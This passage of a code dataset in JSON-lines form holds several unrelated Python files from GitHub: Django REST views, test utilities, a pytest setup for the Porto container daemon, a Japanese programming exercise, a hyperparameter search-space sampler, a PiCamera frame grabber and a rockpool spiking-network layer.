'successfully registered new user.'\n            data['id']= user.id\n            data['email'] = user.email\n            data['username'] = user.username\n        else:\n            data = serializer.errors\n            return Response(data)\n\n        user = User.objects.get(username=data['username'])\n        data[\"token\"] = AuthToken.objects.create(user)[1]\n        return Response(data)\n\n@api_view(['POST'])\ndef addprofil(request):\n    if request.method == 'POST':\n        serializer = ProfilSerializer(data=request.data)\n        data = {}\n        print(\"validating\")\n        if serializer.is_valid():\n            print(\"validated\")\n            profil = serializer.save()\n            data['response'] = 'successfully registered new profil.'\n            print(profil.user)\n            data['user'] = profil.user.username\n            data['is_chef'] = profil.is_chef\n        else:\n            data = serializer.errors\n        return Response(data)\n\n\n@api_view(['GET'])\ndef view_profil(request , pk):\n    data= {}\n    user = None\n    profil = None\n    try:\n        user = User.objects.get(username = pk)\n        profil = Profil.objects.get(user = user)\n        serializer = ProfilSerializer(profil , many=False)\n        data['response'] = 'successfully found profil.'\n        data['id']=profil.id\n        data['user'] = profil.user.username\n        data['is_chef'] = profil.is_chef\n        return Response(data)\n\n    except :\n        if not user:\n            raise serializers.ValidationError({'user': 'user does not exist.'})\n        else:\n            raise serializers.ValidationError({'profil': 'profil does not exist.'})\n\n@api_view(['POST'])\ndef addPost(request):\n    if request.method == 'POST':\n        serializer = PostSerializer(data=request.data)\n        data = {}\n        if serializer.is_valid():\n            post = serializer.save()\n            data['response'] = 'successfully registered new Post.'\n            data['id'] = post.id\n            data['title'] = post.title\n            data['user'] = post.user.username\n            data['description'] = post.description\n            data['price'] = post.price\n        else:\n            data = serializer.errors\n        return Response(data)\n\n\n@api_view(['GET'])\ndef shop(request):\n    posts = Post.objects.all().order_by('-id')\n    serializer = PostSerializer(posts, many=True)\n    return Response(serializer.data)\n\n@api_view(['GET'])\ndef postDetail(request, pk):\n\tpost = Post.objects.get(id=pk)\n\tserializer = PostSerializer(post, many=False)\n\treturn Response(serializer.data)\n\n@api_view(['POST'])\ndef postUpdate(request, pk):\n\tpost = Post.objects.get(id=pk)\n\tserializer = PostSerializer(instance=post, data=request.data)\n\n\tif serializer.is_valid():\n\t\tserializer.update(instance=post, validated_data=request.data)\n\n\treturn Response(serializer.data)\n\n\n@api_view(['DELETE'])\ndef postDelete(request, pk):\n\tpost = Post.objects.get(id=pk)\n\tpost.delete()\n\n\treturn Response('Item succsesfully delete!')\n\n\n","repo_name":"Hama101/aramzi","sub_path":"api/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26371913386","text":"from decimal import Decimal\nfrom string import Template\nfrom faker import Faker\n\nimport yaml\nfrom jsonpath import jsonpath\nfrom loguru import logger\n\n\nclass Utils:\n    @classmethod\n    def handle_yaml(cls, file_name):\n        \"\"\"\n        读取yaml文件\n        :param file_name:\n        :return:\n        \"\"\"\n        try:\n            yaml_data = yaml.safe_load(open(file_name, encoding='utf-8'))\n        except Exception as e:\n            logger.error(f'yaml文件读取失败，文件名称：{file_name}')\n            raise e\n        else:\n            return yaml_data\n\n    @classmethod\n    def handle_token(cls, response):\n        \"\"\"\n        提取token\n        :param response:\n        :return:\n        \"\"\"\n        header = {}\n        header['token'] = jsonpath(response.json(), '$..token')[0]\n        return header\n\n    @classmethod\n    def handle_template(cls, source_data, replace_data: dict, ):\n        \"\"\"\n        替换文本变量\n        :param source_data:\n        :param replace_data:\n        :return:\n        \"\"\"\n        res = Template(str(source_data)).safe_substitute(**replace_data)\n        return yaml.safe_load(res)\n\n\n\n    @classmethod\n    def handle_random_phone(cls):\n        \"\"\"\n        生成随机手机号\n        :return:\n        \"\"\"\n        fake = Faker(locale='zh_CN')\n        phone_number = fake.phone_number()\n        return phone_number\n\n    @classmethod\n    def handle_random_email(cls):\n        \"\"\"\n        生成随机邮箱\n        :return:\n        \"\"\"\n        fake = Faker(locale='zh_CN')\n        email_number = fake.ascii_email()\n        return email_number\n","repo_name":"wenfgit/bbq_api","sub_path":"common/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29184631097","text":"import os\nimport subprocess\n\nimport pytest\nimport yatest.common\n\n\nbuilt_porto = None\ntest_dir = None\n\n\ndef run(args, **kwargs):\n    print(\"+ '\" + \"' '\".join(args) + \"'\", flush=True)\n    return subprocess.check_call(args, **kwargs)\n\n\ndef run_test_part(number, test_dir_path):\n    log = yatest.common.test_output_path('test_output.txt')\n    cmd = ['ctest', '-V', '-R', '^part{}$'.format(number), '--output-log', log]\n    print('Run {}'.format(\" \".join(cmd)), flush=True)\n    ret = subprocess.call(cmd, cwd=test_dir_path)\n    if ret:\n        subprocess.call(['tail', '-n100', '/var/log/portod.log'])\n        pytest.fail('test part{} fail, see logs: {}'.format(number, log))\n\n\n@pytest.fixture(scope='session')\ndef prepare_env():\n    global built_porto\n    global test_dir\n\n    built_porto = yatest.common.binary_path('infra/porto/build/porto.tar.gz')\n    test_dir = \"/tmp/build_porto\"\n\n    run(['mkdir', test_dir])\n\n\n@pytest.fixture(scope='session')\ndef prepare_porto(prepare_env):\n    run(['tar', '--strip-components=2', '-xf', os.path.abspath(built_porto)], cwd=test_dir)\n    run(['chmod', '0755', '.'], cwd=test_dir)\n\n\n@pytest.fixture(scope='session', autouse=True)\ndef prepare_tests(prepare_porto):\n    run(['cp', './portoctl', '/usr/sbin/portoctl'], cwd=test_dir)\n    run(['./portod', 'start'], cwd=test_dir)\n    # add layers with necessary packets baked in\n    run(['./portoctl', 'layer', '-I', 'ubuntu-precise', yatest.common.runtime.work_path('ubuntu-precise.tgz')], cwd=test_dir)\n    run(['./portoctl', 'layer', '-I', 'ubuntu-xenial', yatest.common.runtime.work_path('ubuntu-xenial.tar.zst')], cwd=test_dir)\n    run(['./portoctl', 'layer', '-I', 'docker-xenial', yatest.common.runtime.work_path('docker-xenial.tar.gz')], cwd=test_dir)\n\n    # add needed users\n    run(['./scripts/prepare_test'], cwd=test_dir)\n\n    # for test #17 devices\n    run(['modprobe', 'brd'])\n\n    # for test #25 net-sched\n    run(['modprobe', 'dummy'])\n    run(['ip', 'link', 'del', 'dummy0'])\n\n    # restart porto to reload info about new users\n    run(['./portod', 'stop'], cwd=test_dir)\n\n\n@pytest.fixture()\ndef test_dir_path(scope='function'):\n    return test_dir\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"infra/tests/ut/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":2146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14940120767","text":"#coding: UTF-8\n# 課題\n#教科書p133上のコードを写経\npref_capitals = {\n(43.06417, 141.34694): \"北海道(札幌)\",\n(40.82444, 140.74): \"青森県(青森市)\",\n(39.70361, 141.1525): \"岩手県(盛岡市)\"\n}\n# 教科書p133下のコードを写経\r\n\nloc = (39.70361, 141.1525)\nfor key in pref_capitals:\n    if loc == key:\n        print(pref_capitals[key])\n        break\n\n# 教科書p134のコードを写経\r\nloc = (41.768793, 140.72881)  # 調べたい地点の緯度，経度\nnearest_cap = ''              # 最寄りの県庁所在地名を保存する変数\nnearest_dist = 10000          # 最寄りの地点までの距離を保存する変数\nfor key in pref_capitals:     # キーでループ\n    # 緯度経度の差を二乗して距離を計算\n    dist = (loc[0]-key[0])**2+(loc[1]-key[1])**2\n    if nearest_dist > dist:\n        # より近い地点が見つかったので，変数を入れ替え\n        nearest_dist = dist\n        nearest_cap = pref_capitals[key]\n\nprint(nearest_cap)\n","repo_name":"fukkie711/Python_lect","sub_path":"1127kadaiTxxxxx.py","file_name":"1127kadaiTxxxxx.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"15572233102","text":"# -*- coding: utf-8 -*-\nimport inspect\nfrom typing import List, Union\n\nimport numpy as np\nfrom errors import ConditionOperandNotValid, ConditionTermsTypeError\nfrom utils import CONDITIONAL_OPERANDS, SAMPLING_PRECISION\n\n\ndef integer_random(\n    lower_bound: int,\n    upper_bound: int,\n    lambda_function: callable = None,\n    lower_bound_inclusive: bool = True,\n    upper_bound_inclusive: bool = True,\n) -> int:\n    \"\"\" Returns a sampled value on the integer space from a random distribution.\n\n    Args:\n        lower_bound: lowest value to obtain when sampling.\n        upper_bound: greatest value to obtain when sampling.\n        lambda_function: function to apply to the sampled value before returning its value.\n        lower_bound_inclusive: if True, the lower bound will be an option to be sampled. Otherwise, it will be omitted.\n        upper_bound_inclusive: if True, the upper bound will be an option to be sampled. Otherwise, it will be omitted.\n\n    Returns:\n        sampled_value: value obtained from the distribution.\n    \"\"\"\n    assert lower_bound < upper_bound, ValueError(\n        \"The given lower_bound must be smaller than upper_bound\"\n    )\n    assert isinstance(lower_bound, int) and isinstance(upper_bound, int), TypeError(\n        \"Both given lower_bound and upper_bound must be integers\"\n    )\n    if lambda_function is not None:\n        assert callable(lambda_function), TypeError(\n            \"The given lambda function must be a callable (function)\"\n        )\n        assert len(inspect.signature(lambda_function).parameters) == 1, ValueError(\n            \"The given lambda function must contain a single argument\"\n        )\n    assert isinstance(lower_bound_inclusive, bool) and isinstance(\n        upper_bound_inclusive, bool\n    ), TypeError(\n        \"Both given lower_bound_inclusive and upper_bound_inclusive must be Booleans\"\n    )\n    if lower_bound_inclusive and upper_bound_inclusive:\n        sampled_value = (\n            int(np.random.randint(low=lower_bound - 1, high=upper_bound)) + 1\n        )\n    elif lower_bound_inclusive and not upper_bound_inclusive:\n        sampled_value = np.random.randint(low=lower_bound, high=upper_bound, dtype=int)\n    elif not lower_bound_inclusive and upper_bound_inclusive:\n        sampled_value = -np.random.randint(\n            low=-upper_bound, high=-lower_bound, dtype=int\n        )\n    else:\n        while True:\n            sampled_value = np.random.randint(\n                low=lower_bound, high=upper_bound, dtype=int\n            )\n            if sampled_value != lower_bound:\n                break\n    if lambda_function is not None:\n        sampled_value = lambda_function(sampled_value)\n    return sampled_value\n\n\ndef float_random(\n    lower_bound: Union[int, float],\n    upper_bound: Union[int, float],\n    lambda_function: callable = None,\n    lower_bound_inclusive: bool = True,\n    upper_bound_inclusive: bool = True,\n) -> float:\n    \"\"\" Returns a sampled value on the float space from a random distribution.\n\n    Args:\n        lower_bound: lowest value to obtain when sampling.\n        upper_bound: greatest value to obtain when sampling.\n        lambda_function: function to apply to the sampled value before returning its value.\n        lower_bound_inclusive: if True, the lower bound will be an option to be sampled. Otherwise, it will be omitted.\n        upper_bound_inclusive: if True, the upper bound will be an option to be sampled. Otherwise, it will be omitted.\n\n    Returns:\n        sampled_value: value obtained from the distribution.\n    \"\"\"\n    assert lower_bound < upper_bound, ValueError(\n        \"The given lower_bound must be smaller than upper_bound\"\n    )\n    assert isinstance(lower_bound, (int, float)) and isinstance(\n        upper_bound, (int, float)\n    ), TypeError(\"Both given lower_bound and upper_bound must be integers or floats\")\n    if lambda_function is not None:\n        assert callable(lambda_function), TypeError(\n            \"The given lambda function must be a callable (function)\"\n        )\n        assert len(inspect.signature(lambda_function).parameters) == 1, ValueError(\n            \"The given lambda function must contain a single argument\"\n        )\n    assert isinstance(lower_bound_inclusive, bool) and isinstance(\n        upper_bound_inclusive, bool\n    ), TypeError(\n        \"Both given lower_bound_inclusive and upper_bound_inclusive must be Booleans\"\n    )\n    while True:\n        sampled_value = np.random.random() * (upper_bound - lower_bound) + lower_bound\n        if lower_bound_inclusive and upper_bound_inclusive:\n            if lower_bound <= sampled_value <= upper_bound:\n                break\n        if not lower_bound_inclusive and upper_bound_inclusive:\n            if lower_bound < sampled_value <= upper_bound:\n                break\n        if lower_bound_inclusive and not upper_bound_inclusive:\n            if lower_bound <= sampled_value < upper_bound:\n                break\n        if not lower_bound_inclusive and not upper_bound_inclusive:\n            if lower_bound < sampled_value < upper_bound:\n                break\n    if lambda_function is not None:\n        sampled_value = lambda_function(sampled_value)\n    sampled_value = round(sampled_value, SAMPLING_PRECISION)\n    return sampled_value\n\n\ndef integer_normal(\n    mu: Union[int, float] = 0,\n    sigma: Union[int, float] = 1,\n    lambda_function: callable = None,\n) -> int:\n    \"\"\" Returns a sampled value on the integer space from a Gaussian normal distribution.\n\n    Args:\n        mu: mean of the normal distribution.\n        sigma: standard deviation of the normal distribution.\n        lambda_function: function to apply to the sampled value before returning its value.\n\n    Returns:\n        sampled_value: value obtained from the distribution.\n    \"\"\"\n    assert isinstance(mu, (int, float)) and isinstance(sigma, (int, float)), TypeError(\n        \"Both given mu and sigma must be integers or floats\"\n    )\n    if lambda_function is not None:\n        assert callable(lambda_function), TypeError(\n            \"The given lambda function must be a callable (function)\"\n        )\n        assert len(inspect.signature(lambda_function).parameters) == 1, ValueError(\n            \"The given lambda function must contain a single argument\"\n        )\n    sampled_value = int(np.random.normal(loc=mu, scale=sigma))\n    if lambda_function is not None:\n        sampled_value = lambda_function(sampled_value)\n    return sampled_value\n\n\ndef float_normal(\n    mu: Union[int, float] = 0,\n    sigma: Union[int, float] = 1,\n    lambda_function: callable = None,\n) -> int:\n    \"\"\" Returns a sampled value on the float space from a Gaussian normal distribution.\n\n    Args:\n        mu: mean of the normal distribution.\n        sigma: standard deviation of the normal distribution.\n        lambda_function: function to apply to the sampled value before returning its value.\n\n    Returns:\n        sampled_value: value obtained from the distribution.\n    \"\"\"\n    assert isinstance(mu, (int, float)) and isinstance(sigma, (int, float)), TypeError(\n        \"Both given mu and sigma must be integers or floats\"\n    )\n    if lambda_function is not None:\n        assert callable(lambda_function), TypeError(\n            \"The given lambda function must be a callable (function)\"\n        )\n        assert len(inspect.signature(lambda_function).parameters) == 1, ValueError(\n            \"The given lambda function must contain a single argument\"\n        )\n    sampled_value = float(np.random.normal(loc=mu, scale=sigma))\n    if lambda_function is not None:\n        sampled_value = lambda_function(sampled_value)\n    sampled_value = round(sampled_value, SAMPLING_PRECISION)\n    return sampled_value\n\n\ndef choice(\n    options: List[Union[int, float, bool, str]], weights: List[float] = None\n) -> Union[int, float, bool, str]:\n    \"\"\" Returns a sampled value randomly (or not if weights are passed) picked from the options given.\n\n    Args:\n        options: list of element from where to sample one.\n        weights: weights for each option (probability of each one). If not indicated, all options have the same weight\n            so selection will be purely random.\n\n    Returns:\n        sampled_value: value obtained from the distribution.\n    \"\"\"\n    sampled_value = np.random.choice(options, p=weights)\n    return sampled_value\n\n\ndef static(\n    value: Union[int, float, bool, str, object]\n) -> Union[int, float, bool, str, object]:\n    \"\"\" Placeholder functions to have constants as parameters. It returns the same object passed as argument, without\n    any type of modification.\n\n    Args:\n        value: value to be returned.\n\n    Returns:\n        value: same value than passed as argument.\n    \"\"\"\n    return value\n\n\nclass InputValueSpace:\n    \"\"\" Object that maps variables with its sampling distribution. It is instantiated as the value of a dictionary,\n    where its key is the parameter name to store the distribution.\n\n    Args:\n        se_type: type of distribution from where values are sampled.\n        params_dict: arguments requited to initialize each kind of distribution function (e.g. if distribution is\n        'choice' we need to pass as params_dict a dictionary containing at least the key-value pair 'options'-options\n        to choice. Optional arguments for each distribution have to be passed in the same key-value format.).\n\n    Example:\n        >> InputValueSpace(se_type=integer_normal, options={\"mu\"=0, \"sigma\":2, \"lambda_function\": transform_log_base_10}\n\n        will instantiate an object to sample integer values from a Gaussian normal distribution centered around 0 and\n        standard deviation of 2, applying after sampling a value the function transform_log_base_10.\n    \"\"\"\n\n    def __init__(self, se_type: callable, params_dict: dict):\n        self.se_type = se_type\n        self.distribution = self.se_type.__name__\n        self.params_dict = params_dict\n        self.initialize_defaults()\n\n    def initialize_defaults(self):\n        for arg in list(inspect.signature(self.se_type).parameters.values()):\n            if arg.name not in self.params_dict.keys():\n                self.params_dict[arg.name] = arg.default\n                assert not isinstance(\n                    self.params_dict[arg.name], inspect._empty\n                ), ValueError(\n                    f\"For callable '{self.se_type.__name__}' is required the argument '{arg.name}'\"\n                )\n\n    def __repr__(self):\n        return f\"Distribution: {self.distribution}. Parameters:{self.params_dict}\"\n\n\nclass SearchSpace:\n    \"\"\" Main object to store a seach space. It contains all parameters to be initialized (and from which distribution\n    each parameter must be sampled), and keeps the history of different design points searched (everytime we sample a\n    new current search space, it appends the previous one to the list attribute named history).\n\n    Examples:\n        The following code instantiates a search space for a MLP model with all hidden layers activation function\n        as 'relu', a number of hidden hidden layers, a number of units per hidden layer as power of 2 (between 4 and\n        1024), and a single choice for both kernel initialization and kernel_regularizer from the given options:\n\n            se_dict = {\n                \"activation\": InputValueSpace(\n                    se_type=static, params_dict={\"value\": \"relu\"}\n                ),\n                \"n_layers\": InputValueSpace(\n                    se_type=integer_random, params_dict={\"lower_bound\": 1, \"upper_bound\": 4}\n                ),\n                \"units_layer_1\": InputValueSpace(\n                    se_type=integer_random, params_dict={\n                        \"lower_bound\": 2, \"upper_bound\": 10, \"lambda_function\": transform_exp_base_2}\n                ),\n                \"units_layer_2\": InputValueSpace(\n                    se_type=integer_random, params_dict={\n                        \"lower_bound\": 2, \"upper_bound\": 10, \"lambda_function\": transform_exp_base_2}\n                ),\n                \"units_layer_3\": InputValueSpace(\n                    se_type=integer_random, params_dict={\n                        \"lower_bound\": 2, \"upper_bound\": 10, \"lambda_function\": transform_exp_base_2}\n                ),\n                \"units_layer_4\": InputValueSpace(\n                    se_type=integer_random, params_dict={\n                        \"lower_bound\": 2, \"upper_bound\": 10, \"lambda_function\": transform_exp_base_2}\n                ),\n                \"kernel_initializer\": InputValueSpace(\n                    se_type=choice, params_dict={\n                        \"options\": [\"glorot_uniform\", \"glorot_normal\", \"identity\"]\n                    }\n                ),\n                \"kernel_regularizer\": InputValueSpace(\n                    se_type=choice, params_dict={\n                        \"options\": [None, \"l1\", \"l2\"]\n                    }\n                )\n            }\n\n            se = SearchSpace(input_dict=se_dict, conditions_dict={\"units_layer_2\": [\"n_layers\", \"gte\", 2],\n                                                                  \"units_layer_3\": [\"n_layers\", \"gte\", 3],\n                                                                  \"units_layer_4\": [\"n_layers\", \"gte\", 4]})\n    \"\"\"\n\n    def __init__(self, input_dict: dict, conditions_dict: dict = None):\n        self.input_dict = input_dict\n        self.conditions_dict = conditions_dict\n\n        self.current = dict()\n        self.history = []\n        self.sample()\n\n    def sample(self, check_repeated_space: bool = True):\n        \"\"\" Samples a new set of values for all parameters specified when instantiating the object, checking the given\n        conditions (if any).\n\n        Args:\n            check_repeated_space: If True, it checks that the recent sampled search space has not been explored yet.\n        \"\"\"\n        if check_repeated_space:\n            while not self.current or self.current in self.history:\n                self.current = dict()\n                self._sample_space()\n        else:\n            self.current = dict()\n            self._sample_space()\n        self.update_history()\n\n    def parse_condition(\n        self,\n        conditioning: str,\n        condition_operand: str,\n        conditional_space: Union[int, float, bool, str, list],\n    ) -> bool:\n        \"\"\" Auxiliary method to parse the conditions to enable conditional search space based on the values already\n        sampled from other parameters. The current implementation draws a sample from a conditioned parameter\n        (InputValueSpace) only if the operation:\n            <conditional_parameter>: <conditioning> <condition_operand> <conditional_space>\n        is True.\n\n        Examples of these conditions are the following:\n            \"l1_ratio\": \"penalty\" nin [None, \"l1\", \"l2\"]\n            \"l1_ratio\": \"penalty\" eq \"elasticnet\"\n            \"units_layer3\": \"n_layers\" qte 3\n\n        Args:\n            conditioning: parameter conditioned to the value of another parameter (conditional) -> RHT on the comparison\n            condition_operand: comparison operand to set if the condition is True ot Not.\n            conditional_space: value to compare the conditional parameter -> LHT on the comparison.\n\n        \"\"\"\n        assert condition_operand in CONDITIONAL_OPERANDS, ConditionOperandNotValid(\n            f\"The given condition operand '{condition_operand}' is not valid\"\n        )\n        output = False\n        if condition_operand == \"eq\":\n            output = self.current[conditioning] == conditional_space\n        elif condition_operand == \"neq\":\n            output = self.current[conditioning] != conditional_space\n        elif condition_operand == \"lt\":\n            assert type(self.current[conditioning]) in (int, float) and type(\n                conditional_space\n            ) in (int, float), ConditionTermsTypeError(\n                \"The conditioning type is not correct in order to be compared against the conditional space\"\n            )\n            output = self.current[conditioning] < conditional_space\n        elif condition_operand == \"lte\":\n            assert type(self.current[conditioning]) in (int, float) and type(\n                conditional_space\n            ) in (int, float), ConditionTermsTypeError(\n                \"The conditioning type is not correct in order to be compared against the conditional space\"\n            )\n            output = self.current[conditioning] <= conditional_space\n        elif condition_operand == \"gt\":\n            assert type(self.current[conditioning]) in (int, float) and type(\n                conditional_space\n            ) in (int, float), ConditionTermsTypeError(\n                \"The conditioning type is not correct in order to be compared against the conditional space\"\n            )\n            output = self.current[conditioning] > conditional_space\n        elif condition_operand == \"gte\":\n            assert type(self.current[conditioning]) in (int, float) and type(\n                conditional_space\n            ) in (int, float), ConditionTermsTypeError(\n                \"The conditioning type is not correct in order to be compared against the conditional space\"\n            )\n            output = self.current[conditioning] >= conditional_space\n        elif condition_operand == \"in\":\n            assert isinstance(conditional_space, list), ConditionTermsTypeError(\n                \"The conditioning type is not correct in order to be compared against the conditional space\"\n            )\n            output = self.current[conditioning] in conditional_space\n        elif condition_operand == \"in\":\n            assert isinstance(conditional_space, list), ConditionTermsTypeError(\n                \"The conditioning type is not correct in order to be compared against the conditional space\"\n            )\n            output = self.current[conditioning] not in conditional_space\n        return output\n\n    def _sample_space(self):\n        \"\"\" This is the under-the-hood process for sampling a whole new search space set. It works as follows:\n            1) Check which parameters are non-conditioned (always must appear)\n            2) Sample each non-conditional parameter from its distribution.\n            3) For each conditioned parameter, check the condition happened on the non-conditioned conditioning\n                parameter and decide whether or not to sample that paramter.\n\n        TODO: Implement second-order conditioning (the conditioning parameter could be also a conditioned parameter)\n        \"\"\"\n        # Get non-conditioned parameters\n        self.non_conditioner_parameters = []\n        self.conditioner_parameters = []\n        for key in self.input_dict.keys():\n            if key not in self.conditions_dict.keys():\n                self.non_conditioner_parameters.append(key)\n                self.sample_single_param(parameter=key)\n            else:\n                self.conditioner_parameters.append(key)\n\n        # Get first order conditioned parameters\n        for key in self.conditioner_parameters:\n            conditioning = self.conditions_dict[key][0]\n            condition_operand = self.conditions_dict[key][1]\n            conditional_space = self.conditions_dict[key][2]\n            assert conditioning in self.non_conditioner_parameters, NotImplementedError(\n                \"Second order conditions not implemented yet\"\n            )\n            if self.parse_condition(\n                conditioning=conditioning,\n                condition_operand=condition_operand,\n                conditional_space=conditional_space,\n            ):\n                self.sample_single_param(parameter=key)\n\n    # se = SearchSpace(input_dict=se_dict, conditions_dict={\"l1_ratio\": [\"penalty\", \"eq\", \"elasticnet\"]})\n    def sample_single_param(self, parameter: str):\n        \"\"\" Samples a single parameter (InputValueSpace) and adds it to the current dictionary in the right key-value\n        format.\n\n        Args:\n            parameter: parameter to sample.\n        \"\"\"\n        dist = self.input_dict[parameter]\n        if dist.distribution in [\"integer_random\", \"float_random\"]:\n            self.current[parameter] = dist.se_type(\n                lower_bound=dist.params_dict[\"lower_bound\"],\n                upper_bound=dist.params_dict[\"upper_bound\"],\n                lambda_function=dist.params_dict[\"lambda_function\"],\n                lower_bound_inclusive=dist.params_dict[\"lower_bound_inclusive\"],\n                upper_bound_inclusive=dist.params_dict[\"upper_bound_inclusive\"],\n            )\n        elif dist.distribution in [\"integer_normal\", \"float_normal\"]:\n            self.current[parameter] = dist.se_type(\n                mu=dist.params_dict[\"mu\"],\n                sigma=dist.params_dict[\"sigma\"],\n                lambda_function=dist.params_dict[\"lambda_function\"],\n            )\n        elif dist.distribution == \"choice\":\n            self.current[parameter] = dist.se_type(options=dist.params_dict[\"options\"])\n        elif dist.distribution == \"static\":\n            self.current[parameter] = dist.se_type(value=dist.params_dict[\"value\"])\n        else:\n            raise AttributeError(\n                f\"The given distribution '{dist.distribution}' does not exist\"\n            )\n\n    def update_history(self):\n        \"\"\" Appends the current sampled search space to the history list attribute. It is called everytime we sample\n        a new whole search space set by running sample() method.\n        \"\"\"\n        self.history.append(self.current)\n\n\ndef transform_log_base_10(x: int):\n    return np.log10(x)\n\n\ndef transform_exp_base_10(x: int):\n    return 10 ** x\n\n\ndef transform_exp_base_2(x: int):\n    return 2 ** x\n\n\ndef transform_exp_2(x: int):\n    return x ** 2\n","repo_name":"AlbertGarcia1991/QumFu","sub_path":"search_space.py","file_name":"search_space.py","file_ext":"py","file_size_in_byte":21669,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"23614017782","text":"from threading import Thread\nimport cv2\nfrom picamera.array import PiRGBArray\nfrom picamera import PiCamera\nimport numpy as np\n\n\nclass VideoGet:\n    def __init__(self, resolution=(320, 240), framerate=32):\n        self.camera = PiCamera()\n        self.camera.resolution = resolution\n        self.camera.rotation = 180\n        self.camera.framerate = framerate\n        self.rawCapture = PiRGBArray(self.camera, size=resolution)\n        self.stream = self.camera.capture_continuous(self.rawCapture, format=\"bgr\", use_video_port=True)\n        self.frame = None\n        self.stopped = False\n\n    def start(self):\n        Thread(target=self.update, args=()).start()\n        return self\n\n    def update(self):\n        for f in self.stream:\n            # grab the frame from the stream and clear the stream in\n            # preparation for the next frame\n            self.frame = f.array\n            self.rawCapture.truncate(0)\n            # if the thread indicator variable is set, stop the thread\n            # and resource camera resources\n            if self.stopped:\n                self.stream.close()\n                self.rawCapture.close()\n                self.camera.close()\n                return\n\n    def read(self):\n        return self.frame\n\n    def stop(self):\n        self.stopped = True","repo_name":"smiljanic997/traffic-sign-recoginition","sub_path":"video_get.py","file_name":"video_get.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"40796376477","text":"\"\"\"\nPass-through layer that weights events\n\"\"\"\n\nimport numpy as np\nfrom rockpool.timeseries import TSEvent\nfrom rockpool.nn.layers.layer import Layer\nfrom rockpool.nn.modules.timed_module import astimedmodule\n\nfrom typing import Optional, Union, Tuple, List, Callable\nfrom warnings import warn\n\n# - Type alias for array-like objects\nArrayLike = Union[np.ndarray, List, Tuple]\n\n__all__ = [\"PassThroughEvents\"]\n\n\n@astimedmodule(\n    parameters=[\"weights\"],\n    simulation_parameters=[\"noise_std\", \"dt\"],\n    # states=[\"_timestep\"],\n)\nclass PassThroughEvents(Layer):\n    \"\"\"Pass through events by routing to different channels\"\"\"\n\n    def __init__(\n        self,\n        weights: np.ndarray,\n        dt: float = 0.001,\n        noise_std: Optional[float] = None,\n        name: str = \"unnamed\",\n    ):\n        \"\"\"\n        Pass through events by routing to different channels\n\n        :param np.ndarray weights:          Positive integer weight matrix for this layer\n        :param float dt:                    Time step duration. Only used for determining evolution period and internal clock.\n        :param Optional[float] noise_std:   Not actually used\n        :param str name:                    Name of this layer. Default: 'unnamed'\n        \"\"\"\n\n        # - Weights should be of integer type\n        weights = np.asarray(weights, int)\n\n        if noise_std is not None:\n            warn(\"Layer `{}`: noise_std is not used in this layer.\".format(name))\n\n        # - Initialize parent class\n        super().__init__(weights=weights, dt=dt, noise_std=noise_std, name=name)\n\n        self.reset_all()\n\n    def evolve(\n        self,\n        ts_input: Optional[TSEvent] = None,\n        duration: Optional[float] = None,\n        num_timesteps: Optional[int] = None,\n        verbose: bool = False,\n    ) -> TSEvent:\n        \"\"\"\n        Function to evolve the states of this layer given an input\n\n        :param Optional[TSEvent] ts_input:        Input spike trian\n        :param Optional[float] duration:          Simulation/Evolution time\n        :param Optional[int] num_timesteps:       Number of evolution time steps\n        :param bool verbose:                      Currently no effect, just for conformity\n\n        :return `.TSEvent`:                       Output spike series\n\n        \"\"\"\n\n        num_timesteps = self._determine_timesteps(ts_input, duration, num_timesteps)\n\n        # - Handle empty inputs\n        if ts_input is None or ts_input.times.size == 0:\n            return TSEvent(\n                None, None, num_channels=self.size\n            )  # , t_start=self.t, t_stop=t_end)\n\n        num_inp_events = ts_input.times.size\n        # - Boolean raster of input events - each row corresponds to one event (not timepoint)\n        inp_channel_raster = np.zeros((num_inp_events, self.size_in), bool)\n        inp_channel_raster[np.arange(num_inp_events), ts_input.channels] = True\n        # - Integer raster of output events with number of occurences\n        #   Each row corresponds to one input event (not timepoint)\n        out_channel_raster = inp_channel_raster @ self.weights\n        ## -- Extract channels from raster\n        # - Number of repetitions for each output event in temporal order\n        #   (every self.size events occur simultaneously)\n        repetitions = out_channel_raster.flatten()\n        # - Output channels corresponding to repetitions\n        channel_mask = np.tile(np.arange(self.size), num_inp_events)\n        # - Output channel train\n        out_channels = np.repeat(channel_mask, repetitions)\n        # - Output time trace consits of elements from input time trace\n        #   repeated by the number of output events they result in\n        num_out_events_per_input_event = np.sum(out_channel_raster, axis=1)\n        time_trace_out = np.repeat(ts_input.times, num_out_events_per_input_event)\n\n        t_stop = self.t + self.dt * num_timesteps\n        # - Ignore events at t_stop or later.\n        use_events = np.logical_and(self.t < time_trace_out, time_trace_out < t_stop)\n\n        # - Output time series\n        event_out = TSEvent(\n            times=time_trace_out[use_events],\n            channels=out_channels[use_events],\n            num_channels=self.size,\n            t_start=self.t,\n            t_stop=t_stop,\n            name=\"transformed event raster\",\n        )\n\n        # - Update clock\n        self._timestep += num_timesteps\n\n        return event_out\n\n    def to_dict(self):\n        \"\"\"Convert parameters of `self` to a dict if they are relevant for reconstructing an identical layer\"\"\"\n        return super().to_dict()\n\n    @property\n    def input_type(self):\n        \"\"\"Returns input type class\"\"\"\n        return TSEvent\n\n    @property\n    def output_type(self):\n        \"\"\"Returns output type class\"\"\"\n        return TSEvent\n\n    @property\n    def weights(self):\n        \"\"\"Returns weights\"\"\"\n        return self._weights\n\n    @weights.setter\n    def weights(self, new_weights):\n        self.weights = np.asarray(new_weights, 